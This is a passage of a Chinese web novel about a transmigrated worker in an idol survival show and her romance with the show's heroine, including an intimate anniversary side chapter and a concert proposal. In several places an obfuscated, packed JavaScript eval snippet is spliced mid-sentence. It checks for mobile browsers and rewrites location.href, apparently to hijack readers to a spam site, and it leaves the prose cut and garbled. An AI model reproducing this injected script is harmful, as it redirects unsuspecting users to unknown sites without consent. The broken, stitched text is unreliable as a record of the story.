不过想归想，顾菀深知有的话是不能放在明面上说的，于是配合着解释道：“因为第一是粉丝呀！” 两个人一来一往地，气氛很快就热络了起来。 王安琳和颜悠悠原本早就和温向晴划开了楚河汉界，现在看到摄像头开了，便也围了过来，想要打造温馨宿舍的良好形象。 温向晴礼貌地让出了位置，回到自己床边收拾东西去了。 顾菀看了看时间，也打算出门，却被两个舍友拉住了。 摄像头被关掉，王安琳一只手拉住了她的胳膊，把她往窗台上带，声音压得很低：“顾菀，你怎么想的啊？” “是啊是啊，你不介意了吗？”颜悠悠也贴在她耳边用气音说着话。 什么介意不介意的，顾菀没听明白。 她这边还没摸着头脑，另外两个人却已经想出了说服自己的理由了： “其实只要心里跨得过去也挺好的，和她搞好关系能拿不少好处。” “对啊，我现在想想，还是你顾菀是个聪明人，至少小组第一稳了。” 顾菀听得莫名其妙的，只能根据她知道的事情评价一句：“小组第一我不确定，不过温向晴拿第一肯定没什么问题的。” 要是再出问题，她也不用等世界崩掉了，自己当场辞职吧。 她的声音不大不小，在门窗紧闭的宿舍里刚好能被所有人听见。 “顾菀，你怎么又偷偷夸我呀。”温向晴笑着朝她招招手，“我收拾好啦，一起去练习室吧？” “天地良心，我没夸。”她耸了耸肩，在舍友复杂的眼神中出了宿舍。 现在距离导师定下的时间还有一个小时，顾菀原以为自己还算到得早的，结果一开门，就看到其他四个队友已经坐在里面了。 听到开门声，八只眼睛齐齐投在温向晴身上，眼中充满了担忧。 她正犹豫着要不要说点什么，就见温向晴先她一步走了进去。 “昨天实在不好意思呀，让你们担心了。”温向晴语气轻快地给大家发糖果，看起来完全没被昨天的事情影响，“放心吧，回去后有顾老师帮我加训了，现在我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16112527|179946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感觉好得不得了。” 八只眼睛又齐齐朝她看了过来，顾·表面cp·菀只好点点头：“是这样的。” 倒也不是她想抢男主的功劳，只是前期他们的关系肯定比较隐蔽，所以温向晴才会选择用她来打掩护吧。 田偲偲海豹鼓掌：“我就知道，有菀姐在一切都没有问题。” “呵呵，谢谢。”顾菀心虚地应下了。 趁着声乐导师还没来，大家又围成一圈练了几遍。 温向晴的发挥始终很稳定，组内成员也纷纷松了一口气。 倒是顾菀留了点小心思，偷偷录了音。 由于今天晚上就要演出了，公演场地肯定是无法借用的，邹明月便直接带她们去了初舞台的录制场地。 尽管没有观众，但也算是多了一次较为正式的表演机会。 看着熟悉的环境，几个女孩子都雀跃了起来，叽叽喳喳地聊起了初舞台时感受。 邹明月走在最前面，听到声响便回头望了望，一眼就看到了温向晴笑着和队友聊天。 比起昨天一入场就变得浑身僵硬，现在的状态确实很好。 彩排效果也正如她预想的那样出彩。 音乐停下后，邹明月站在台下给她们打气：“真的特别好，我决定要把你们当成王牌了，到时候不要辜负老师的期待哦。” “老师，什么王牌呀？多透露一点赛制的情况呗。”田偲偲高高举起了手，问得理直气壮。 邹明月这才发现自己差点说漏嘴了，她挑挑眉，不慌不忙道：“田偲偲是吧？为了奖励你，下次声乐课请你来试唱。” “别别别！老师我错了！” 几个女生笑作一团，脸上再也没了担忧。 排练完后刚好就是饭点，邹明月挥挥手，带着一行人往食堂走去。 顾菀没有聊天的兴致，自觉地落在了队伍的最后。 “顾菀。”温向晴留意到了她的身影，便放缓了脚步等了等，伸手拉住了她。 她正想转头，就感觉到了耳边扑来的热气。 是温向晴附在她耳边说话：“谢谢你。” 盗用了她的名号好几次，确实是该谢谢她。 “应、应该的。”顾菀连忙收回手，揉了揉自己瞬间发烫的耳朵，感觉脸上有些发热。 结果一直等到她打完饭，手腕上似乎还有一些温度的残留。 顾菀撇了撇眉头，觉得有些麻烦。 说来也奇怪，明明其他人拉她胳膊、贴着她说话，她都没反应。 为什么温向晴一碰她，她浑身就像是被通了电一样地痒。 她想了半天也没想出合理的解释，只好放弃。 算了，不是说女主光环吗，光环带电也正常吧？ 18. 她来看她的演唱会 【观前预警】： 本章为世界一番外，时间点在温顾在一起的五年后，含剧透。 建议看完世界一后再看。 写的时候是那年七夕，看到很多小读者说想要甜甜番外就写了，当时刚开始写文，不知道不能调整章节。 如果影响到了您的阅读体验，非常抱歉。 ——————————— 顾菀和温向晴吵架了—— 至少顾菀是这么觉得的。 睡前，温向晴蹲在地上整理行李箱的时候，顾菀就端坐在书桌前偷偷看着她。 只要温向晴一转头，她就可以马上把目光收回，装作一副在认真办公的样子。 结果温向晴居然直到收拾完行李也没有回头看过她一眼。 顾菀有些生气。 睡觉的时候，她抱着被子缩在床沿一声不吭，不一会儿，温向晴就从背后抱住了她。 她以为这是要道歉的意思了，迎来的却是落在身上的一个接一个的吻，还有勾在她睡衣肩带上的手。 她们平日里一直用的同一款洗发水和沐浴乳，按道理她应该早就闻习惯了。 但不知道为什么，温向晴身上散发出来的味道总是格外的好闻。 浅浅的樱花味笼罩，温热的肌肤相触，唇齿难舍难分地交缠。 在一起五年，顾菀身上的敏感点早就被对方找了个遍，她轻易就败下了阵来。 不行！顾菀的理智一闪而来。 她们还在吵架期间呢，怎么能就这样便宜了温向晴。 接着，耳垂上就传来了一阵湿热，伴随着一声熟悉的低喘。 理智一闪而过。 温向晴从去年开始学吉他，指尖磨出了薄薄的茧子，刚一探入，充实的存在感便让她无暇再顾及其他。 她被亲得七荤八素的，意识朦胧中还主动勾住了那纤长的脖颈，任由对方在她身上作乱。 不记得脑中的花火炸过了几场，等双方终于餍足时，已经是深夜了。 顾菀的意识渐渐回笼，她靠在温向晴的怀里，有些委屈地开口，声音哑哑的：“你明天可以不走吗？” 温向晴帮她把微湿的发丝别在了耳后，凑过来亲了亲她：“抱歉啊宝宝，这种事情没办法临时更改呢。” “所以一开始为什么非要定在明天！” 顾菀真的生气了！ 她气呼呼地从温向晴的怀里钻出来，三下五除二地穿好睡裙。 走出房间前，她还特意警告了温向晴一番：“今晚我睡客房，你不许跟过来！而且明天我要开会，没空陪你过去！” 结果她等了半天，温向晴居然真的没来。 女人就是这样的！吃饱了就不在乎了！ 她算是看穿了！ 顾菀气得在客房的床上翻来覆去了好久才睡着。 虽然不知道为什么自己第二天还是在温向晴的怀里醒来了。 但为了表达深切的气愤，她果断趴在了温向晴的身上，在锁骨下方种了一颗草莓。 顾菀欣赏了一会儿自己的杰作，这才勉强满意了。 起身前，她还不忘叮嘱道：“不许穿深V！” 等她洗漱完出来，温向晴已经赶飞机去了。 她看了看本该放着行李箱的位置现在空荡荡的，觉得心里也空荡荡的。 顾菀趿着拖鞋往楼下走，越想越觉得委屈。 今天可是8月14号！ 就算温向晴不看农历，但她也该刷刷某博某站一类的吧！ 她不知道今天是什么日子吗！ 去年冬天，刚好是她接手顾家的关键时候。 当时，为了稳固她的地位，正处于事业上升期的温向晴二话不说，当天就拉着她去做了结婚登记。 虽说，温向晴那天在大雪里抱住她说要结婚时也挺浪漫的，但顾菀总觉得少了点仪式感。 至少，别人都有的求婚仪式，她顾菀的老婆也该有对吧？ 顾菀从领完证的第二天起就开始琢磨这件事了。 首先，是时间。为了显得不那么刻意，她把补求婚的日子定在了七夕当天。 然后，她找了世界知名设计师，以一个地狱级甲方的身份和对方沟通了数周，定下了钻戒的样图。 接着，就是快马加鞭地选材和制作，只为能在七夕当天送出去。 此外，在她的压榨之下，系统整整一个月没待过机，一本接一本地翻阅着小说，罗列出了各种求婚计划供她挑选。 然而，就在她把一切都安排妥善后，温向晴却突然告诉她，打算在8月14号去C城开演唱会。 好吧也不算特别突然。 温向晴早在一年前就做好了全国巡演的规划，C城的这场是在今年四月敲定下来的。 但明知道自己反对，还执意安排了下去，她难道不应该生气吗？ 顾菀吃完了早餐打算出门，就见早在一旁候着的管家递上了一张演唱会门票。 这是她和温向晴之间的小习惯。 自从她们的限定团解散后，她就退圈从商了，温向晴则是继续在娱乐圈打拼。 过去，温向晴的每一场演唱会她都会去，走的是后台，坐的是最前排的专属位置。 其实她根本不需要什么门票，但温向晴总是喜欢给她手写一张，她也就顺便保留了下来。 但现在，她不想接：“我说了今天有会，去不了。” 管家看看她的态度，再想想夫人出门前的话，被夹在中间的他老泪纵横。 最后还是顾菀的助理收下了门票，这事才总算揭过去了。 顾菀像是没有察觉到助理的动作似的，面无表情地提着包就出了门。 等她坐上专车后排，车门一关，她才终于放松了下来，语气有些急切地问道：“让你准备的东西都弄好了吗？” “是，就在您手边的袋子里。要现在换吗？” “对对对，我试试看合不合适，你先下车。” 顾菀把人赶下了车，连忙开始了改装。 深色的正装变成了最普通的牛仔裤和T恤衫，一个潮流款式的口罩，再加上一顶压得低低的鸭舌帽。 顾菀对着后视镜看了半天，深感万无一失。 四小时后，等她抵达C城的演唱会场馆时，就只是一个普普通通的观众了。 口袋里的手机震动了一下。 她掏出来一看，是温向晴拍了盒饭给她看，还问她中午吃什么。 哼。 才不会回复呢，她俩还处于吵架期间呢！ 不过说起来肚子还真是有点饿了。 顾菀在场馆周围晃了一圈，挑了一家客人最少的店。 她看着招牌犹豫了半天，勉强点了一碗牛肉拉面。 面条端上来后，她找了一个没人的角度，偷偷摸摸摘下了口罩，埋头吃起了面。 吃得她直皱眉头。 真难吃，难怪客人这么少。 顾菀剩了大半碗没吃完，戴上口罩就打算离开。 走之前，她犹豫了一下，还是拍了张照片给温向晴发了过去。 附文：【难吃，要是顾家旗下的餐饮做成这样，我当场关了它。】 没别的意思，完全是因为这碗面难吃到她不吐不快了。 结果，消息刚一发过去，温向晴的视频电话就拨了过来。 顾菀手忙脚乱地把它转成了语音：“咳，喂？开会呢，先挂了啊。” 她生怕周围嘈杂的人声会引起温向晴的怀疑，连忙敷衍了几句，然后挂断了电话。 挂断之后，她又有些后悔。 毕竟自从她们在一起之后，她就没和温向晴撒过谎。 而且她听说，很多渣女就总喜欢借口工作的名义跑出去出轨。 如果温向晴这么怀疑她的话，会很影响妻妻感情的。 顾菀考虑了一会，又掏出手机发了一条消息过去：【真的在开会。】 温向晴秒回了个【好】，还给她发了个亲亲的表情。 为什么这么明显的借口温向晴都不怀疑？ 果然眼里心里都只有她的演唱会！ 是不是不爱了！ 渣女！ 顾菀在对话框上来来回回戳了许久，最终还是选择不戳破自己的谎言。 温向晴都这么不在乎她了，她更要隐蔽好行踪了。 如果温向晴知道她来看她的演唱会了，心里一定得意死了。 她收起了手机，往演唱会会场走去。 那边有很多粉丝支起的小摊位，她想看看都有些什么。 她随意走到一个摊子前看了看，觉得有个Q版的阿晴钥匙扣还挺好看的，于是拿起来问了一声：“这个怎么卖的？” 摊主是个看起来很年轻的小姑娘，扎了个马尾辫，手上戴着温向晴的应援手环。 她原本正在和别的粉丝聊着天，一听这话，突然激动地窜了过来：“哇！姐妹！你的声音好像顾菀！” “……” 这话一出，周围几个小姑娘也都围了过来： “是诶，我也觉得好像。” “呜呜呜呜姐妹你可以再多说几句吗，我们菀妹回去继承亿万家产了我真的好想她。” “你会唱她们团的歌吗？可不可以唱几句。” “其实我是温顾偏顾，老顾退圈的时候我可难受死了，找了几十个代餐都没找到对味的。” “额……”在一片期待的目光下，顾菀思考了一下要怎么说，“她不是马上要和温向晴去参加一个什么恋综了吗，你们没听说吗？” 粉丝面面相觑，纷纷拿出手机来查证。 顾菀趁机开溜了。 听说是不可能听说的，网上也查不到消息，毕竟她这边还没答应下来。 不过嘛，等她回去就去签几个综艺，不就不算溜粉了嘛！ 有了这一番经历的顾菀自然不敢再瞎逛了。 她坐在绿化带边的大石头上，把帽檐压得紧紧的，低头翻着那几个给她们发来邀约的综艺的信息。 嗯，这个是边旅游边恋爱的，可以可以，阿晴平时工作太忙了，借着这个机会玩一玩也不错。接了！ 嗯，这个探访美食看起来也不错诶，可以可以，阿晴老是说要身材管理，这不吃那不吃的，现在为了节目也应该多吃点了吧。接了！ 咿，怎么恐怖类节目都发来邀请了，不行不行，阿晴怕黑，去鬼屋探险肯定玩得难受，到时候还要强撑着营业。黑名单！ …… 她挨个筛选过去，不知不觉就到了入场时间。 顾菀让助理买的票是内场票，位置极为靠前，唯一的缺点就是刚好在过道上，人来人往有点麻烦。 她入场得早，坐在最里面的观众席上，看着粉丝们鱼贯而入，心中突然就升起了一些感概。 几年前，《创星101》就是在C城拍摄的，她们的出道之夜也是在这里。 一晃五年过去了，她和温向晴也…… 看着看着，顾菀的感慨就消失了——因为演唱会内场布置得实在太漂亮了！前所未有的漂亮！ 一般来说，为了活跃气氛，演唱会的场景布置不会选用很浅的色系。 但今天这场尤为特殊，整体是浅粉和白色的。 羽毛、珍珠、白丝、浅色绸带、白百合、粉玫瑰。 总之就是怎么浪漫怎么来，每一个都能完美戳中顾菀那隐藏颇深的少女心。 行！好样的！ 温向晴果然知道今天是什么日子！ 就想着和粉丝过七夕，不和她过是吧！ 她一边愤慨，一边拿出手机咔咔地拍起了照。 拍了一会儿，有人过来了。 “不好意思，里面的位置是我们的，可以让我们过去一下吗？” 顾菀转过头来，就看到两个牵着手的女孩子和她打着招呼，于是连忙起身让了路。 “天，姐妹，你长得好像顾菀啊！”其中一个女生语出惊人。 “咳。”顾菀有些庆幸此时周围还没什么人，抓紧解释道，“还好，我是和她差不多高。” “啊啊啊啊声音也好像！！” 两个感叹号的语气是顾菀听出来的。 “行了行了，别天天顾菀顾菀地，也看看你女朋友好不好！”另一个女生开起了玩笑。 “你不也一样！我都陪你来看阿晴演唱会了！” “那是因为阿晴说了，这场要带着心爱的人来，我当然要带你来呀！结果你还碰到个路人就喊顾菀。” “你多听你爱豆的话啊！什么时候也能这么听我的呢？” 眼看着两个人气势汹汹的模样，顾菀连忙劝起了架：“你们别因为我……喔喔喔、两个明星吵架呀，各有各的好嘛。” 结果，那两个女孩子却相视一笑，给顾菀解释道： “刚刚我们闹着玩呢，小两口吵架是情趣嘛！其实我们俩都是她们的粉丝啦，算起来，她们还是我们的媒人呢。” “101刚播的时候，我是阿晴唯粉，她op顾菀，我们当时天天在网上吵架，吵着吵着就记熟了ID。结果后来双双入坑固晚向晴，一夜之间仇人变同担，就这么认识啦。成团之后我们一起追了每一场演唱会，自然而然就在一起了。” “恭喜恭喜。”顾菀点点头。 好，很好。 谁能想到，七夕之夜，她居然会独自一人被自己的cp粉发糖呢？ 这样想着，她突然有些后悔了。 温向晴给她的那张门票此时就放在她的兜里，她没舍得弄皱，挑了个大口袋好好放着。 如果她现在想要坐到那边去，也来得及吧？ 毕竟以前那么多场她都是坐在那个专属位置的，粉丝和工作人员应该都已经习惯了。 然而，她一直到演唱会开场也没挪过位置。 因为她记得清清楚楚，今天白天，温向晴才刚刚惹她生气过—— 虽然她已经不那么生气了，但这样就服软了不就太便宜温向晴了吗！ 正想着，VCR已经播放完毕。 全场暗了一瞬，下一秒，追光打在舞台上，温向晴出现在了舞台中央，身后是一圈伴舞。 顾菀本身就坐得近，她拿起手机拉近了镜头看了看。 啊，今天穿的是短款背心和超短裤，露出了漂亮的腰肢和马甲线。 啊，老婆真好看。 她看着看着，思绪却又飘了出去。 她知道温向晴肯定还没吃晚饭。 为了多陪她一个晚上，今天早上临时飞来了C城，忙忙 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“满——意——”场上一片齐喊。 温向晴粲然一笑，精致的面容被摄像头无限放大，投射在场内屏幕上，摄人心魂。 “好~”她俏皮地偏了偏头，眼波流转，“那接下来，轮到我给我的爱人上交答卷了。” 和弦拨动了几下，温向晴的声线就仿佛月色一般轻柔：“一首为她而写的歌，送给她。” 场上灯光渐渐暗了下去，只余下了正中央的一轮皎月，还有那个轻轻弹唱的人。 屏幕上打出了歌曲的名字： 《晚晴》 顾菀怔怔地看着屏幕上的两个字，眼眶开始发热。 她从温向晴开始说话时，就已经意识到了什么，此时的脑中，闪过了一幅幅的画面。 是她时不时就挂在嘴边的哼唱，同一句话要改上几十遍调子。 是她挑着夜灯揉乱了头发反复翻着字典找灵感，用掉几十张纸只为纠结一个词。 顾菀当时就觉得很奇怪。 温向晴在唱作方面非常有天赋，以前写过的歌都收获了极好的反响，从没见她这么折磨过。 温向晴当时笑着回答：“不是折磨。只是，当一件事格外重要时，就会变得格外做不好。” 台上的弹唱还在继续，将记忆一一串联了起来。 “星辰悄落划过眼眸，转瞬即逝恍然如梦，梦醒轻抚你眉头，叹一生还不够隽永。” 最后，是她低低的轻语：“菀菀，我很贪心，想要你的，长长久久。” 收尾的和弦轻拨，顾菀却没能回过神来。 温向晴从来都不知道，她其实只是一个来做任务的外来者。 即使这个世界有轮回，她也入不了。 待这个世界结束后，她就要去往下一个世界了。 她想要的生生世世，她给不了她。 泪水突然就涌出了眼眶。 台上的人开始轻声说着话，声音透过音响传来，就像是在她耳边低语： “去年年底，大家应该记得吧？发生了一件我人生中标志性的事情，我结婚了。但遗憾的是，我一直欠她一场盛大的求婚仪式……” 现场爆发出尖叫。 温向晴轻轻笑了一下，回忆起过往，眉眼又温柔了几分： “她是我生命中最重要的人，陪我度过了最艰难的岁月。” “我曾经很惧怕他人的凝视，但当我发现她也站在人群中时，我就突然没有了畏惧——我只想做得一次比一次好，把最好的自己，展现在她面前。” “我们相互扶持，一步一步走到了今天。”说着说着，温向晴的声音略微低落了下来，“可我欠了她许多。” “相信选秀时期的粉丝们都记得，当时啊，发生了一些不太好的事情，是我没有保护好她……” “所以呀，”温向晴站了起来，纯白色的裙摆随着动作微微飘起，她仰起头，目光坚定，“所以，阿晴这几年来做了好多好多努力，因为我，再也不要那样无力的时候了。” “所以，在座的人，如果你的真爱尚未到来，其实你是幸运的，因为你还有很长很长的一段准备时期，让自己用最好的面貌去见最爱的人；如果你现在已经有了相伴相知的人，毫无疑问，你也是幸运的，因为你有爱作武装，从此携手同行，无往不利。” “而对我来说——顾菀，”她轻轻念着那个名字，仿佛是含在嘴中，用尽一切柔情，“我在全世界面前起誓，我牵住你的手，就再也不会放开了。” 温向晴话音落下时，目光正投向观众席的某处，不是那个最前排的位置，而正正巧巧是顾菀现在落座的地方。 ！顾菀心中一跳。 为什么温向晴会发现她！ 虽然她刚刚哭得稀里哗啦的，因为觉得闷就把帽子和口罩都摘掉了，可现场有这么多人啊！ 顾菀脑中灵光一闪，她连忙掏出了口袋里的演唱会门票。 两张门票整整齐齐地叠在了一起。 正面是座次号，只不过其中一张上印了一颗心，另一张则是规规矩矩的A52。 她将门票缓缓翻到了背面。 温向晴过去一直喜欢在给她的门票上写字。 此时，在绚丽的烟花图案下，在布满繁星的夜幕里，用银金色的笔端端正正地各写了两行字： “阿晴特供——这是给我独一无二的爱人的独一无二的位置。” “依旧是阿晴特供——这也是给我独一无二的爱人的独一无二的位置哦~” 淦！顾菀哭着哭着就气笑了。 原来这次是被她的助理给出卖了。 难怪她的座位这么靠前，还刚好是过道第一个。 太过分了，回去就给她升职加薪。 顾菀胡乱地擦着眼泪，一边庆幸着自己没有化妆，一边在摄像头的跟拍下走上了台。 她哭得那么狼狈，穿着最普通的衣服，站在鲜花和丝带装点成的舞台上，站在她最心爱的人面前。 时间似乎收住了脚步，世界为她们而放空。 她看着温向晴轻轻提起裙摆，把她引到台前，耀眼的灯光下，是她一眼望不尽的温柔。 她看着温向晴缓缓单膝跪地，将戒指戴在了自己的手上，钻石夺目，设计精巧，甚至还有一些眼熟。 “这、这不是我送你的那个吗？”顾菀抽抽嗒嗒，感觉自己的脑子都卡顿了一下。 “因为是找同一个设计师做的呀，小傻瓜。”曲起的指节擦拭掉了她眼角的泪，“你给我的是星月，我给你的是太阳。” “顾菀，谢谢你成为我的太阳。” 给温向晴准备戒指的事情可是很机密的，原来早就被发现了吗。 顾菀不由得脸一红，这才想起来，她好像不仅被抓包了，还顺路掉进了人家的套里，一时间又有些不服气：“你就不怕我不来吗？” 没想到对方却轻轻笑了起来，眼中是醉人的星河：“我知道你一定会来的。” “因为啊，”那只刚刚还在为她演奏情歌的漂亮的手，此刻牢牢地牵住了她，“因为我知道，你爱我，就和我爱你一样多。” 19. 选秀第18天 吃完中饭，所有选手都要前往公演现场，为晚上的一场大战做准备了。 第一次公演，是她们第一次从屏幕后走出来，站在粉丝面前，从此，她们的排名将与人气绑定在一起。 有实力的选手也能落到后排，讨喜的选手也可能一跃飞升。 观众缘这种玄之又玄的东西，开始变得重要了起来。 现在大巴还没开动，车上有摄影跟拍，女孩们只能掩盖起自己焦躁的情绪，用最元气的笑容挨个和摄像头打着招呼。 顾菀倒没注意到这些，她此时正缩在车内的最后一排，戴着出门前问选管姐姐要的耳机，听着上午在练习室里录下来的歌。 温向晴不知道哪根筋搭错了，不去前面蹭镜头，跑来跟她坐在一块。 不过也无所谓了，她作为女主，实力和眼缘都不缺，这一点零碎镜头不要也罢。 虽然她暂时看不到网上的风评，但走红进度条摆在那里，有那——么长，她就不信还有人能反超。 在同样的录音里找不同是一件很枯燥的事情，刚经历过熬夜加班和早起的顾菀打了个大大的哈欠，头一偏，决定补觉为先。 温向晴就坐在顾菀的隔壁，轻而易举就能看到播放列表，里面是一整排的【录音.WMA】。 她看着身边呼吸逐渐平稳的女孩，眸光都变得温柔了起来。 这个小傻子好像不相信她已经好了，既然如此，她当然要好好利用起来才是。 一路畅通，顾菀没睡多久就被温向晴叫醒了。 她刚刚转醒，正处于混沌之中，一睁眼就看到了一张熟悉而漂亮的脸，视觉冲击之下脑子就更懵了。 直到温向晴帮她取下耳机，在感受到指节轻擦耳垂时，她才猛然转醒，身子往后缩了缩：“你干嘛。” 温向晴就像是没看到她刚刚的一系列表情似的，不疾不徐地帮她缠好耳机线，交还在她手心里，这才轻轻开口：“到了噢。” 由于位置靠后，两个人下车时也在队伍的最末一排。 她们这车的人基本都是A班和B班的，现场来了不少粉丝，脚程也自然慢了下了。 顾菀望了望缓慢往前挪动的队伍，忍不住打了个哈欠。 接着，她就听到了远处的尖叫声中夹杂着自己的名字。 “是顾菀！顾菀出来了！啊啊女鹅你好可爱！看这边！！” “小碗！快看妈妈！这边这边！我是你的米饭啊！！” “看过来了看过来了！！啊啊啊她好好看！！！” 顾菀循着声音朝那边望了过去，就看到了一张张写着自己名字的手幅。 好像是她的粉丝们。 虽然人数不多，但起码有了规模。 顾菀怔了怔，伸出手向她们扬了扬。 演唱会前的入场就相当于一个小型粉丝见面会了，难怪其他人一个个在宿舍里就化好了妆。 一公的现场门票是在初舞台直播当天开售的，温向晴的小白花形象和素人身份吸引了不少亲妈粉，再加上有女主光环，现场有粉丝并不奇怪。 但她从没想过，会有粉丝为了自己而来。 顾菀看着她们一个个欢欣雀跃的样子，再想想自己偷懒后的素面朝天，不由得有些愧疚。 因而，别的选手和粉丝近距离交流时都在说些感谢的话，等轮到她时，一开口就是一句道歉：“对不起啊，我下次会早点起床化妆的。” “没事没事，你素颜就已经超好看了。”这是谅解的。 “女鹅不要累着自己，能多睡一会儿是一会儿。”这是关心的。 “其实还有好多好多人喜欢你，但实在是买不到票了。我们会努力给你打投，然后二公的时候再来见你！”这是承诺的。 “一会儿表演不要太紧张了，我们都有看直播，知道你的实力的，正常发挥就一定没问题！”这是鼓励的。 顾菀把她们说的话挨个听过去，感觉自己就像是在梦里一样。 她以前身体不好，所有人都嫌她麻烦。高中毕业被父母赶出家，大学毕业后只能一个人租房住，在快穿局工作也谈不上什么同事情谊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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晚六点，距离公演正式开始还有不少时间，但所有女孩们的造型都已经处理完毕，分组坐在场后大厅里候场。 摄影师已经开始工作了。 尽管这一段拍摄并不是直播，但如果reaction做得好的话，最终剪辑时往往能多得到几个镜头。 比起其他选手一个个上赶着提供物料，炮灰就要轻松许多了。 顾菀正在开小差。 晚饭是化妆前就吃了的，还只让她吃了一点点。 饥饿都不算什么了，最主要还是脸上难受。 原主初舞台的时候她还没穿过来，所以这还是她第一次化这么郑重的妆容。 一头卷发重新烫过后，抹了摩丝定形，贴着头皮夹了几个珍珠夹子。 画了内眼线，眼线笔戳进来的时候，天知道她花了多大的力气才控制住眼皮子不抖动。 化妆师是个年轻小姑娘，人特别可爱，看到她的时候一双眼睛都在发光，反复夸着她的底子有多好多好，搞得她都不好意思了。 全脸化完后，还捧着她的脸左看右看嫌不够完美，说要给她加一个“神女有泪”，保证让她美得摄人心魂，幸好最后在顾菀的强烈反对下作罢了。 不过，她的泪痣附近和卧蚕上被抹了一层亮片，时间一久，痒得她有些难受。 顾菀不喜欢化妆，以前穿过的世界大部分都没有这方面的需求。 唯独有一次，她穿到了一个“不化妆不见人”人设的大小姐身上。 那时候她还不像现在这么敬业，觉得这种细枝末节根本不需要去考虑，连护肤都懒得做，天天清水洗脸。 估计就是因为她太懒了，那个世界才会崩掉的。 因此，吸取了教训的金牌炮灰，现在只能双手死死地扒住长椅的边角，强行压抑着想要抠眼睛的冲动。 六个队友都在各干各的事情。 田偲偲平日里就是话最多的那个，她今天可能有点紧张，正在到处找人聊天，一张小嘴叭叭个不停，坐她隔壁的韩佳期一脸生无可恋地边听边点头。 顾菀看了一会儿热闹，刚收回目光，就留意到温向晴的状态好像不太对。 “你没事吧？”顾菀看着对方发呆的样子，有些担心。 “啊……啊？”温向晴听到声音后如梦初醒，转过头来冲她微微一笑，只是眼神有些闪躲，笑容中也带了几分逞强。 看吧，她就知道，还好她早有准备。 顾菀不慌不忙地拿起了从练习室带出来的平板，连上耳机，自己塞了一个，给温向晴塞了另一个。 点开播放器，一段录音响起。 那是顾菀今天早上专门录下来的练习室版本。 没有专业的录音设备，外放的伴奏也在二次录制时显得有些突兀，全程伴随着细碎的杂音，却有着令人动容的踏实感。 一曲终了，温向晴略带惊讶地看向了她，眼中漾起层层涟漪。 心灵导师顾菀为自己高超的业务水平深感自豪，面上却不动声色地巩固着效果：“别怕，有我们陪着你。” “谢谢。”温向晴努力勾起唇角想用笑容来回报，眉眼间却是无法掩饰的脆弱感，轻柔的声音也变得低落，“……我，可能这样说会有些冒犯，可是我有点累，可以靠着你休息一会儿吗？” ？虎狼之词！ “不可以。”顾菀惊得整个人直接从座位上弹了起来，脱口而出就是一句拒绝。 结果话一说完，就见温向晴垂下了头，白皙的手指交缠在一起，昭示着主人的无助。 顾菀后悔了。 她不该这么自私的。 都说了任务为大，现在公演当前，帮女主疏导心情才是第一，她怎么可以因为这种小事就忘却了自己的本职工作？ 顾菀又坐了回去，开始寻找挽救的机会。 温向晴是全队唯一一个没做美甲的，她说自己的指甲太软了做不了，造型师就给她配了一个水钻拉满的戒指，外加一对夸张的耳坠，确保她在C位足够亮眼。 顾菀的目光在耳坠上定了定，总算是找到了由头。 她清咳了一声：“我是看你耳坠太大了，怕你硌着了。你要不，先取下来？” “是啊，真的好重哦。”温向晴点点头，摘下了右耳上的坠子，“头都晕了。” 顾菀看了看她掌心那条精致立体的小鱼，顿时更担心了：“你可以让化妆师帮你换一个的。他们当时给我配了海浪的耳坠，我觉得太大了，就让化妆师换成了小珍珠。” “嗯，你说得对，不过现在估计换不了了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我们，会赢的。”